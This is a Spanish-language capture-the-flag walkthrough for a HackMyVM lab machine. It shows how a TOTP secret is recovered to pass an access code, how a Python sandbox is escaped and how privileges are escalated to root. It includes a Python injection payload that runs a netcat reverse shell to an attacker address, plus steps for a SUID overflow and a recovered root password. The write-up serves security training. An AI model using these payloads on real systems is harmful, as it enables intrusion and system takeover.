Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.24
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que solo tenemos el puerto 80.
Si ingresamos la dirección IP en el navegador podemos observar que nos pide un código de acceso.
Realizando un escaneo de subdirectorios identifica 2 interesantes.
Al ingresar a todo.txt
observamos que se trata de un mensaje acerca de archivo bak
.
Si nos dirigimos al directorio de includes
notamos un archivo con esa extensión y al hacerle clic lo descargamos.
Al abrir el archivo podemos observar el siguiente código.
Vemos que hace referencia al archivo que teníamos en el directorio anterior. Al ingresar a ese archivo vemos lo siguiente.
Buscando entre los parámetros que hace referencia al copiar el nombre PHPGangsta_googleauthenticator
podemos ver que hay un repositorio con ese nombre y lo clonamos.
Antes de continuar podemos observar el ejemplo que nos da el que podemos hacer.
Copiamos el código y lo modificamos para que solo nos brinde el código, Este archivo debemos guardarlo en la carpeta que clonamos.
<?php
require_once 'PHPGangsta/GoogleAuthenticator.php';
$ga = new PHPGangsta_GoogleAuthenticator();
$secret = 'S4I22IG3KHZIGQCJ';
echo "Secret is: ".$secret."\n\n";
$oneCode = $ga->getCode($secret);
echo "Checking Code '$oneCode' and Secret '$secret':\n";
?>
Iniciamos un servidor en PHP.
Ingresamos la dirección en el navegador y podemos observar el código.
Ingresamos el código en el autenticado
luego de ingresar nos muestra lo siguiente.
Ingresamos un comando en este caso ls
, pero nos muestra un error.
Ingresando algunos comando y códigos podemos observar que al realizar un print('whoami')
nos devuelve el texto.
Revisando esto nos recuerda a la estructura de Python probamos algunas estructuras para escapar de algunas restricciones y vemos que nos da error.
Tratamos de escapar de ese error que significa básicamente que detecto una línea de cadena sin cerrar las comillas luego de ingresar el comando observamos un mensaje muy interesante que nos hace ver que vamos por buen camino.
Probando algunos módulos específicos como subprocess
, os.system
, os.execve
el único que nos da un buen resultado es os.popen
mod=__import__('os');mod.popen('nc -e /bin/bash 192.168.0.61 1234').read()
Primero empezamos nuestro listener.
Luego enviamos el comando.
Al regresar a nuestro listener podemos observar que se estableció conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola. Revisamos las carpetas temporales, pero no tenemos nada, tratamos de ver si tenemos acceso a la carpeta del usuario, pero no contamos con los privilegios.
Revisamos permisos SUID y notamos un MakeMeLearner
.
Ejecutamos el binario y podemos ver lo siguiente.
Convirtiendo el valor hexadecimal vemos que tiene abcd
como valor
revisando el archivo podemos ver que es tiene tanto setuid
como setid
así que tiene permisos para darnos los privilegios del usuario, también contiene not stripped
que nos permitiría comprender su funcionamiento por ingeniería inversa.
Ya que sabemos que tenemos Python comprobamos.
Iniciamos el servidor Python en el directorio bin
.
En nuestra máquina atacante descargamos el binario.
Realizamos un strings
en el archivo y podemos observar lo siguiente que nos da otra pista que también llama a la bash
probando ingresando varias A y otras letras podemos ver que cambia la salida y corresponden a las últimas letras.
Pero son de manera inversa.
Al contar las A parece que el desbordamiento empieza a salir en la a número 60. Como al ingresar cualquier texto nos devolvía abcd
probamos con algunas variaciones de este y con dcba
no nos muestra el error
Ejecutamos el mismo código en la máquina víctima y podemos observar que podemos escalar a learner
.
Listando la carpeta del usuario podemos observar que tenemos otra vez un ejecutable y al leer su contenido vemos unas líneas interesantes.
Arrancamos el servidor para pasarnos el archivo.
Una vez descargado el archivo revisamos usando strings
y podemos ver esta sección así también vemos de manera más clara el texto que leímos al comienzo.
Abrimos el archivo en este caso con IDA
y podemos observar una sección interesante en el main
.
Copiamos esa sección de texto por el mensaje que tenemos.
NOI98hOIhj)(Jj
Nos conectamos como root y podemos observar que era el password de root. De esta manera culminando esta máquina.